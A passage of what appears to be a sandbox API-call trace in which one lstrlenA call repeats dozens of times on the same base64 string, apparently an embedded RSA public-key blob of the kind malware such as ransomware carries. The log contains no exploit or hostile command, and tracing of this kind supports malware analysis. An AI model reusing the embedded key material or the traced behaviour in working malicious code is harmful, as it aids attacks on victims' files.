(lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.797] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.798] lstrlenA 